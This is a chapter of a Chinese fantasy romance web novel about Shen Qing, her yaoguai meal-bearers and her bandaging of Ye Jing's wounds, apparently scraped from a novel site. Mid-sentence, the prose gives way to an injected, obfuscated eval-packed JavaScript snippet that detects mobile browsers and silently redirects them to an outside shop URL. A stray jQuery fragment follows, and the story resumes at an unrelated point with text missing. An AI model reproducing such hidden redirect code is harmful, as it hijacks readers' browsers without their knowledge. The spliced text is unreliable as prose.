叶景最近有些忙,早出晚归,沈清起得晚睡得早,两个人已经好些天没见过面了,一日三餐会有小妖专门送过来,小妖长得白净可爱,是一只雪豹妖。
沈清闲来无事,开始逗小孩儿玩儿
“多大啦?”
小妖回道:“快一百岁了”
“哦~什么时候学会化形的?”
“五年前”
“不错~”
的确是不错,妖一般要修行几百年才可修成人形,这小妖悟性很高。
小雪豹站得笔直,嘴巴抿成直线,一脸严肃,身后的尾巴不停地摇啊摇。
第二天,送饭的就换了人
“踏雪呢?”
“夫人,他有事,最近都不过来了”
夫人?
沈清看着面前毫无表情的黑衣男子
“你为什么叫我夫人?”
“夫人,慢用”
说罢,转身走出小院
又一个木头,不过没关系,她最擅长和木头交流
翌日,沈清看着黑衣男子
“你是狼妖吗?”
见男子愣了愣,笑道
“看来我猜对了,你猜为什么我能猜出来?”
狼妖不猜,只是一味地摆盘,沈清娓娓道来
“因为狼有一种独特的气质,一眼就可以看出来”
“夫人,慢用”
狼妖跑得很焦急。
又一日,来的是一个小胖子,脸蛋红扑扑的,嘴巴紧紧抿着,一看就是强装严肃,她稍微闹出个动静,小胖子就如惊弓之鸟,手忙脚乱,眼珠子狂转,沈清望着,没忍住笑了。
又又一日,一到时间,桌子只有摆放整齐的饭菜,但不见送饭的妖,她直接拿着吃食上了楼,也不在院内吃了。
半个时辰后
沈清倚在树干上,看着不远处的蛇鹫旋转跳跃,脚下半扁的蛇头已经没什么生气
一只彩色的鸟飞来,绕着她飞了两圈,停在一旁的枝头上:“师姐,你怎么出来的?”
沈清专注喂鸟,淡淡道:“你现在看到的是我的分身”
鸟儿展翅向下一跃,幻成一个少年:“听说神川的结界连魂魄都能拦住,师姐你厉害”
沈清又扔了一条魔蛇过去,蛇鹫张开翅膀欢快地接住,说道:“我是天生的”
她体质特殊,掩了气息,犹如空气,很难察觉,结界拦不住她。
鹊安盯着跳跃的蛇鹫:“它要跳到多扁才会吃”
沈清也盯着:“很扁很扁”
蛇鹫身后的树旁,几条扁扁的蛇片,排的整整齐齐,而跳跃的蛇鹫又踩完一片后,看向沈清,那双扑闪扑闪的大眼睛满是期待,她向前走了两步,蛇鹫吓得乍起翅膀退了好几步。
鹊安拿起一条:“师姐我来”
说着向前走了两步,正慌恐的蛇鹫瞬间转换战斗状态,眼冒杀意,低着头朝他扎来,到了跟前,被揪住鸟脖子,鹊安将魔蛇体贴地挂了上去,打了个结,笑眯眯道
“快吃吧,别玩了”
一只鸟在帮另一只鸟,系围巾…
沈清看着这诡异的画面,依着树,闭上了眼睛…有风吹来,床幔微动,窗子旁的铃铛叮铃铃响了几声。
再睁开眼,见叶景正坐在床边,神色有些疲倦,有些黯然,见她醒来,又转换为明朗,疏离。
她脱口而出:“你怎么了?”
叶景微微歪头:“嗯?”
看着眼前素净的人,语气也轻柔起来
“为什么这么问?”
沈清大脑回归,情绪迅速调整:“没事,看你有些憔悴”
说着,她坐起来,向后靠了靠,板起脸:“不许随便进我房间”
变脸真快
“你睡了很久,我怕你死了”
“真是多谢你,我只是爱睡觉”
叶景笑笑,起身往外走:“晌午了,起来吃点东西”
他们又回到院子里吃饭,吃到一半儿,她问道:“我能回去了吗?”
叶景头都没抬:“不能”
意料之中,看似看顾,实则囚禁。
“那我想出去转转可以吗?就在附近”
见他不回话,沈清继续说道
“我知道你忙,我就是想溜达溜达,实在不行,你派人跟着我,踏雪忙吗?”
叶景终于有了反应,他缓缓放下筷子,盯着她看了一会儿
“你想让踏雪陪你?”
沈清心不在焉:“其他人也行”
她看着他,眼底有些乌青,那张脸比往日更白,听他又阴飕飕问了两句
“他给你送了几天饭,你就想让他陪你?”
“距他给你送饭已经过去快十天,你张口就能想到他?”
疯的莫名其妙
沈清突然起身,直接隔着桌子,将他的衣领撩开
果然
“你受伤了?”
她的手还拽着他的衣衫,叶景本来冰冷的面色一滞,风雨欲来的气势顷刻熄灭,有些茫然的望着她
沈清认真盯着包得严实的两道纱布,绕过桌子,站到他面前,又伸过手去,半道被拦住,他握住她的手,指尖冰凉。
沈清皱起眉,盯着人问:“被什么伤的?”
听他小声又别扭地说了一句“魔兽”
脸色一沉:“我认真问你呢”
叶景笑了笑:“真是魔兽,我去了魔界”
怕她不信,又补充道:“魔族最近有些动荡,苏木和魔尊交好,我们去帮他们平息叛乱”
“是叛逃的那些魔物吗?”
话一说出,两人都安静了。
沈清说漏嘴,只好往回圆:“我听师傅说过,天界一个上神塑造了一些魔物,后来被反噬,那些魔物也不知所踪,刚才你说,突然想到了”
“毕竟我们也算修行人,各界的传闻都知道一些”
叶景不语,只是静静地看着她。
他整张脸都浸在阳光下,鼻梁高挺,睫毛影子落到下眼眶,浅棕色的瞳孔像是要把人吸进去,沈清看着,隐隐感觉,他瞳孔的颜色渐渐幻成绿色
正看得入迷,手被放开,听他说道:“先吃饭吧”
沈清坐了回去,又开始盘算回去后再种几盆什么花了
也或许,回不去,她自以为了解他,事实证明,时日太久,足以淡化很多东西,这段日子,他和她拌嘴逗乐,让她有些盲目自信,怎么就确定人家不开心了是送你上天,不是送你归西。
她拿起筷子,又放下
“我吃饱了”
叶景瞥了一眼她没动几口的碗
“把饭吃完,我带你出去”
“我不想出去了”
“为什么?因为我不是踏雪?”
怎么又绕回来了
她不知道一个小妖踩着他那根筋了,她好像又知道他撒泼的点儿不在于踏雪还是踏冰,他就是纯粹想找点儿事,至于为什么想找事,暂时还没想明白。
看在他受伤的份上,沈清没打算和他掰扯
“你受伤了要静养,好好睡一觉吧”
叶景盛了一碗汤,放在她面前:“我该换药了”
“好,那换完药再睡”
“我自己换不了”
“……”
沈清极具耐心:“你想让我帮你换?”
等了一会儿,叶景两根手指在桌子上快速点了几下,漫不经心说道:“行吧”
像是她求来的
她深吸一口气,侧过脸去,自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610705|205927||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正常后,发现身边人都不正常,要么是呆子,要么是疯子,给她一种这世间只有她一个正常人的错觉。
打不过,先忍,一会儿上药的时候用点儿劲疼死他。
从将绑带解开后,沈清就不说话了,她皱着眉,将药粉轻轻涂在那几道骨血粘连的抓痕上,一脸严肃。
怪不得脸色那么苍白,这得流多少血。
叶景倒是话多了起来
“我对你刚才说的魔物,也略有耳闻,你想不想听?”
沈清没搭理他,他也不在意,继续说道
“应该说是,神物,毕竟是神仙研究的,自己玩脱了,便换了名称,叫魔物”
“我这几天打的就是其中两个,他们藏在凡人的身体里,一体两魂,凡人得以寿命永驻,躲了快三百年,终于苏醒,妄想攻入魔界,真是,不自量力”
说到这儿,叶景不屑地笑了笑。
他也有不屑的资本,两个宫主联手都不是他的对手,精心策划近百年,仅几日时间,就又被扒皮抽筋,扔进神殿里。
沈清认真涂着药,一点儿疼死他的意思都没有。
叶景垂着眼眸,看着就要贴在他身上的人,目光温和:“不喜欢听这些?你想听什么,我都可以讲给你听”
“什么魔兽伤的你?”
“你心疼了?”
沈清抬头,看到一双深情又破碎的眼睛
他撩拨人,他倒是破碎上了。
涂到伤口最深的地方,她动作又轻了一些
“疼吗?”
没有回应
抬眸看过去,见他皱着眉,没什么感情地,开口道:“疼”
说完便死死盯着她,试图在她脸上看到一丝心疼的神色
沈清嗯了一声,继续上药:“疼就对了,骨头都露出来了,再不疼,就死了”
上好药,开始缠纱布,叶景不再说话,屋子里彻底静了下来,只听得见她缠纱布的声音,偶尔视线交汇,她躲了两次,干脆直面应对,眼睛里除了冷意,就是我要赢的战意,也不动了,捏着纱布盯着人看
叶景败下阵来,淡淡移开眼神,沈清得逞,嘴角上扬,安心缠纱布。
绑好后,沈清坐在他跟前的凳子上,又开始没正形,笑盈盈地一脸崇拜
“你一个普通妖官,竟这么厉害,可以和两个宫主对打呢”
叶景不动声色顶了顶腮
“嗯,还凑合”
“那你伤好了可不可以教我两招?我防身用”
两个人又开始对视,眼中倒映着彼此的脸,里面的人都笑嘻嘻的
叶景:“好啊,你准备拜师礼”
“行,没问题”
演出结束,她站起来往外走
叶景盯着已经走到门口的人,问道
“你去哪儿?”
沈清站住:“我去院子里”
说罢,关门离开
没一会儿,门又开了
“你果然没睡”
她靠在门上,一脸的我就知道!
叶景愣了一下,眼睛渐渐明亮,笑意扩散
“你回来就是看我睡没睡?”
“不是,我想起来,你说的魔兽都有毒,你解毒了没有?”
叶景想了一会儿:“解了”
那怎么今天这么奇怪,一会儿晴一会儿阴的,沈清看着眼前又莫名开心起来的人,轻声道
“睡吧,我就在院子里,有事我叫你”
叶景轻轻笑着:“好”
待人下楼后,他起身走到窗前,看着小院躺椅上那抹鹅黄色,手里捧着一本书,翻了几页,便将其盖在脸上,静了一会儿,忽然坐起身,朝他的方向看过来。
沈清看着空空如也的窗子,安心躺了回去。